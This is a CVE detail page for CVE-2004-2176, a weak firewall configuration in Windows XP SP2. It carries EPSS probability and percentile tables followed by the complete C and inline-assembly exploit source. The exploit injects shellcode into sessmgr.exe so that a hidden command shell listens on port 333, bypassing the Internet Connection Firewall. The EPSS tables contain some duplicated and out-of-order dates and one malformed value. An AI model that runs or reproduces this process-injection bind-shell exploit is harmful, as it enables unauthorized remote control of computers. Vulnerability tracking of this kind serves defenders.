CVE-2004-2176 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.26%	–	–
2022-02-20	–	–	2.26%	–	–
2022-04-03	–	–	2.26%	–	–
2022-08-28	–	–	2.26%	–	–
2022-10-09	–	–	2.46%	–	–
2023-02-26	–	–	2.46%	–	–
2023-03-12	–	–	–	0.04%	–
2023-03-19	–	–	–	0.06%	–
2023-09-17	–	–	–	0.06%	–
2023-12-03	–	–	–	0.06%	–
2023-12-17	–	–	–	0.06%	–
2024-01-07	–	–	–	0.06%	–
2024-02-11	–	–	–	0.12%	–
2024-03-03	–	–	–	0.12%	–
2024-06-02	–	–	–	0.12%	–
2024-09-22	–	–	–	0.06%	–
2024-12-15	–	–	–	0.06%	–
2024-12-22	–	–	–	0.06%	–
2025-01-19	–	–	–	0.07%	–
2025-03-16	–	–	–	0.07%	–
2025-01-19	–	–	–	0.07%	–
2025-03-18	–	–	–	–	0.6%
2025-03-30	–	–	–	–	0.77%
2025-04-15	–	–	–	–	0.77%
2025-04-15	–	–	–	–	0.77,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	58%
2022-02-20	59%
2022-04-03	8%
2022-08-28	81%
2022-10-09	81%
2023-02-26	82%
2023-03-12	8%
2023-03-19	24%
2023-09-17	25%
2023-12-03	24%
2023-12-17	25%
2024-01-07	24%
2024-02-11	45%
2024-03-03	46%
2024-06-02	47%
2024-09-22	27%
2024-12-15	28%
2024-12-22	27%
2025-01-19	33%
2025-03-16	34%
2025-01-19	33%
2025-03-18	68%
2025-03-30	71%
2025-04-15	72%
2025-04-15	72%

// source: https://www.securityfocus.com/bid/11410/info Microsoft Windows XP Service Pack 2 is reported prone to a weak default configuration vulnerability. Internet Connection Firewall (ICF) includes functionality that controls what binaries are permitted to listen for incoming connections. It is reported that one of the executables that is permitted to listen for incoming network connections may provide a conduit to bypass ICF access controls. Due to a configuration weakness, this executable is accessible for all users. A local attacker may exploit this vulnerability to create a listening port to provide remote access to a vulnerable computer. #include <windows.h> #include <winsock.h> #include <stdlib.h> #include <stdio.h> #include <winsock.h> void setfp(char *buffer,int sz,DWORD from,DWORD fp) { int i; for(i=0;i<sz-5;i++) if (buffer[i]=='\xb8'&&*(DWORD*)(buffer+i+1)==from) {*(DWORD*)(buffer+i+1)=fp;break;} } int injcode(char *buffer) { HMODULE ws2_32; DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep; char *code; int len; ws2_32=LoadLibrary("ws2_32"); _loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA"); _createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA"); _sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep"); _wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup"); _wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA"); _bind=(DWORD)GetProcAddress(ws2_32,"bind"); _listen=(DWORD)GetProcAddress(ws2_32,"listen"); _accept=(DWORD)GetProcAddress(ws2_32,"accept"); __asm { call over push '23' push '_2sw' push esp mov eax,0x11111111 call eax xor ebx,ebx push 0x64 pop ecx wsadata: push ebx loop wsadata push esp push 0x101 mov eax,0x33333333 call eax push ebx push ebx push ebx push ebx push SOCK_STREAM push AF_INET mov eax,0x44444444 call eax mov esi,eax push ebx push ebx push ebx push 0x4D010002 /*port 333*/ mov eax,esp push 0x10 push eax push esi mov eax,0x55555555 call eax push SOMAXCONN push esi mov eax,0x66666666 call eax push ebx push ebx push esi mov eax,0x77777777 call eax mov edi,eax push ebx push ebx push ebx push ebx mov eax,esp push edi push edi push edi push ebx push SW_HIDE push STARTF_USESTDHANDLES push 0xA pop ecx startupinfo: push ebx loop startupinfo push 0x44 mov ecx,esp push 'dmc' mov edx, esp push eax push ecx push ebx push ebx push ebx push 1 push ebx push ebx push edx push ebx mov eax,0x22222222 call eax push INFINITE mov eax,0x88888888 call eax over: pop eax mov code,eax } len=0xA0; memcpy(buffer,code,len); setfp(buffer,len,0x11111111,_loadlibrarya); setfp(buffer,len,0x22222222,_createprocessa); setfp(buffer,len,0x33333333,_wsastartup); setfp(buffer,len,0x44444444,_wsasocketa); setfp(buffer,len,0x55555555,_bind); setfp(buffer,len,0x66666666,_listen); setfp(buffer,len,0x77777777,_accept); setfp(buffer,len,0x88888888,_sleep); return len; } void main(void) { STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; CONTEXT context; LDT_ENTRY sel; DWORD read,tib,peb,exebase,peoffs,ep; IMAGE_NT_HEADERS pehdr; int len; char sessmgr[MAX_PATH+13]; char buffer[2048]; GetSystemDirectory(sessmgr,MAX_PATH); sessmgr[MAX_PATH]=0; strcat(sessmgr,"\\sessmgr.exe"); memset(&sinfo,0,sizeof(sinfo)); sinfo.cb=sizeof(sinfo); if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo)) printf("createprocess failed"), exit(1); context.ContextFlags=CONTEXT_FULL; GetThreadContext(pinfo.hThread,&context); GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel); tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read); ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint; len=injcode(buffer); VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read); WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read); ResumeThread(pinfo.hThread); }